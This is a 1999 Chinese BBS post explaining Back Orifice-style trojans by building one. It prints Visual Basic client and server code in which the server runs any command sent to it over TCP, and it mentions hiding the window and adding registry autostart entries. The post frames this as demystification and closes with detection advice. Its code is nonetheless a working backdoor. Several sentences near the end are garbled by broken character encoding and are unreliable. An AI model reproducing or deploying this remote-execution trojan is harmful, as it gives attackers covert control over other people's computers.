荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: zzt (少年仲永), 信区: Hacker
标  题: 揭开BO的真面目
发信站: BBS 荔园晨风站 (Wed Apr  7 17:02:07 1999), 转信

揭开BO的真面目

作者:QiangGe


最近常常可以看到报纸杂志刊登黑客攻击及网站被攻击的消息,究其原由,似乎是B
O这一类程序在作怪,许多朋友及单位向我询问关于BO的情况,而且越传越神,BO被
神话为一个无所不能的程序,可以天上掉馅饼似的侵入你的计算机中。其实这一切都
是媒体过度炒作的结果,再有些其实不
懂的人推波助澜,在中国演出了一场黑客程序闹剧,甚至有些软件公司还推出了查
杀黑客程序的软件,简直贻笑大方。今天特写此文,希望能恢复BO本来的面目,让大
家少一些恐惧。


BO是在美国一次黑客技术讨论会上由一个黑客组织推出的,媒体的炒作使其迅速流
传开来。它其实是一种客户机/服务器程序,在黑客看来,是一种典型的特洛伊木马程
序,服务器端(即被攻击的计算机)的程序在运行之后,黑客可以使用相应的客户端
工具直接控制它。在BO之前,NetSpy已经早已在黑客手中流传,它是一种与BO极其类似的工
具,原理及实现几乎同出一辙
,只是BO的功能更加多一些。真正的黑客自己都编制类似的程序,一般在攻击网站之
后当作后门使用,在许多黑客站点上可以找到这些程序,这里不在赘述了。

    本人编制了一个类似的程序,大家可以看到其工作的详细流程及原理,为了防
治被一些别有用心的人利用其来搞破坏,只是公开Visual Basic的版本,至于Visual
C++的版本,如果有兴趣,我们在来探讨。下面简要介绍一下其原理:

在网络上,有一个基本的漏洞,就是:在本机直接启动运行的程序拥有与使用者相
同的权限,这个很容易理解,假设你是以管理员的身份(对一般的PC机,只要你在机
器前面,你就是管理员)使用机器,那么你从本地硬盘启动一个应用程序,这个程序
就有权享用机器的全部资源;但对从外
部(例如Internet上的某一个站点)来的程序,则一般没有对硬盘操作的权利。这
个规定是现今的这种网络结构注定的,除非体系结构发生变化,这种规定是不可避免
的,但这个规定在给大家带来方便的同时,也带来了安全隐患,就是如果管理员不小
心运行了一个可以接收外部指令的恶意
程序之后,那么这台计算机就被别人控制了,在黑客界,这称为特洛伊木马程序,
在几十年前已备黑客广泛使用。

下面,我们就使用Visual Basic 5.0编写一个特洛伊木马程序,揭开这个并不神秘
的面纱。如果你了解一种技术,那就不会怕它了。

使用VB建立两个程序,一个为客户端程序spyClient,一个为服务器端程序spyServe
r。

SpyClient程序中建立一个窗体,加载WinSock控件,称为tcpClient,再加入两个文
本框,用以输入服务器的IP地址和端口号,然后建立一个按钮,按下之后就可以对连
接进行初始化了,代码如下:

'

‘调用 Connect 方法,初始化连接。

tcpClient.RemoteHost = IPInput.Text

tcpClient.RemotePort = Val(PortInput.Text) '端口号,缺省为1001

tcpClient.Connect ‘与指定IP地址的计算机进行连接

cmdConnect.Enabled = False

连接建立之后就是如何处理所收到的数据的问题了,使用DataArrival事件,可以方
便的对数据进行操作,这里是一个演示程序,代码如下:

Private Sub tcpClient_DataArrival _

(ByVal bytesTotal As Long)

Dim strData As String

tcpClient.GetData strData ‘得到发送来的数据

‘以后是处理过程,可以灵活编写代码

If strData = "Test Connect" Then

TCPState.Text = "Connect OK" + vbNewLine + "Local IP is:" + _

tcpClient.LocalIP + " Computer Name is:" + tcpClient.LocalHostName

TCPState.Text = TCPState.Text + vbNewLine + "Remote IP is:" + _

tcpClient.RemoteHostIP + " Computer Name is:" + tcpClient.RemoteHost

If InStr(Trim(strData), "CloseOK?") > 0 Then

tcpClient.Close

End If

End If

txtOutput.Text = txtOutput.Text + vbNewLine + tcpClient.RemoteHostIP + ":
 " + strData

End Sub

以上是客户端程序的核心部分,下面再介绍一下服务器端程序:

也是建立一个窗体,加载Winsock控件。在客户端程序运行时,客户端程序要对服务
端程序请求连接,所以服务器端程序要解决连接问题,可以使用ConnectionRequest
事件完成此功能:

'检查控件的 State 属性是否为关闭的。

'如果不是,

'在接受新的连接之前先关闭此连接。

If Index = 0 Then

intMax = intMax + 1

Load tcpServer(intMax)

tcpServer(intMax).LocalPort = 0

tcpServer(intMax).Accept requestID

Combo1_IP.AddItem (tcpServer(intMax).RemoteHostIP)

Combo1_IP.Text = "请选择"

tcpServer(intMax).SendData "Test Connect"

End If

'If tcpServer.State <> sckClosed Then _

'tcpServer.Close

'接受具有 requestID 参数的

'连接。

'tcpServer.Accept requestID

' tcpServer.SendData "Test Connect"

这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触
发,执行了以上的代码。如果不出意外,连接就被建立起来了。

现在我们在加一点功能,就是服务器端的程序可以接收客户机端的指令运行程序,
也是使用DataArrival属性,代码如下:

Private Sub tcpServer_DataArrival _

(Index As Integer, ByVal bytesTotal As Long)

'为进入的数据声明一个变量。

'调用 GetData 方法,并将数据赋予名为 txtOutput

'的 TextBox 的 Text 属性。

Dim strData As String

Dim check_blong

On Error GoTo err_pro

tcpServer(Index).GetData strData

check_blong = InStr(Trim(strData), "Exec")

If check_blong > 0 Then

strData = Trim(strData)

strData = Right(strData, Len(strData) - 4)

Content.Text = Content.Text + vbNewLine + tcpServer(Index). _

RemoteHostIP + " " + "要求执行以下程序:" + strData

Shell (strData)

Else

check_blong = InStr(Trim(strData), "CloseOK?")

If check_blong > 0 Then

tcpServer(Index).Close

Combo1_IP.RemoveItem (Index - 1)

Content.Text = Content.Text + vbNewLine + tcpServer(Index). _

RemoteHostIP + " " + "已经中断连接."

Else

IPname.Text = tcpServer(Index).RemoteHostIP

txtOutput.Text = strData

Content.Text = Content.Text + vbNewLine + tcpServer(Index). _

RemoteHostIP + " " + strData

End If

End If

err_pro:

If Err = 53 Then

MsgBox "路径错误," + tcpServer(Index).RemoteHostIP + _

"的程序执行要求被拒绝!"

tcpServer(Index).SendData ""

End If

Resume Next

End Sub

现在你可以将这这两个程序做成可执行文件,分别运行于两台使用TCP/IP协议联网
的机器上,在客户机端你按下连接按钮,在输入“c:\command.com”,可以看到在客
户机端立刻打开了一个DOS窗口,设想一下,如果它运行一些破坏性的程序会怎么样?

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人
就可以在千里之外控制你的计算机,这么说一点也不过分。但你现在理解了它的工作?
砗螅不崃⒖讨涝趺丛し浪税桑烤褪遣辉诵蟹衿鞫说某绦颉?

真正的黑客所使用特洛伊木马程序比这个复杂一些,它一般会修改Windows的注册表
,使Windows在每次启动时就自动运行这个程序,一般是无窗口程序,所以你有时发
现不了它,但在上网时如果你没有点按如何连接而在不停的收发数据时,就要小心是?
癖惶芈逡聊韭沓绦蛉肭至耍绻褂?
的是Windows 95,就要到注册表文件中去查找并修改相应的表项了。如果使用的是W
indows 98,可以使用98自带的一个工具:“Msconfig.exe”,这个文件在windows/s
ystem子目录下,运行之后可以看到自动启动的程序,找到之后将其删除即可。

程序的完整代码可以在 http://QiangGe.yeah.net上下载到。

如果摘录,请列明出处!
 -- 日出东方,唯我不败;
天上地下,唯我独尊。

--
※ 修改:.zzt 于 Apr  7 17:03:19 修改本文.[FROM: 192.168.0.101]
※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.101]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店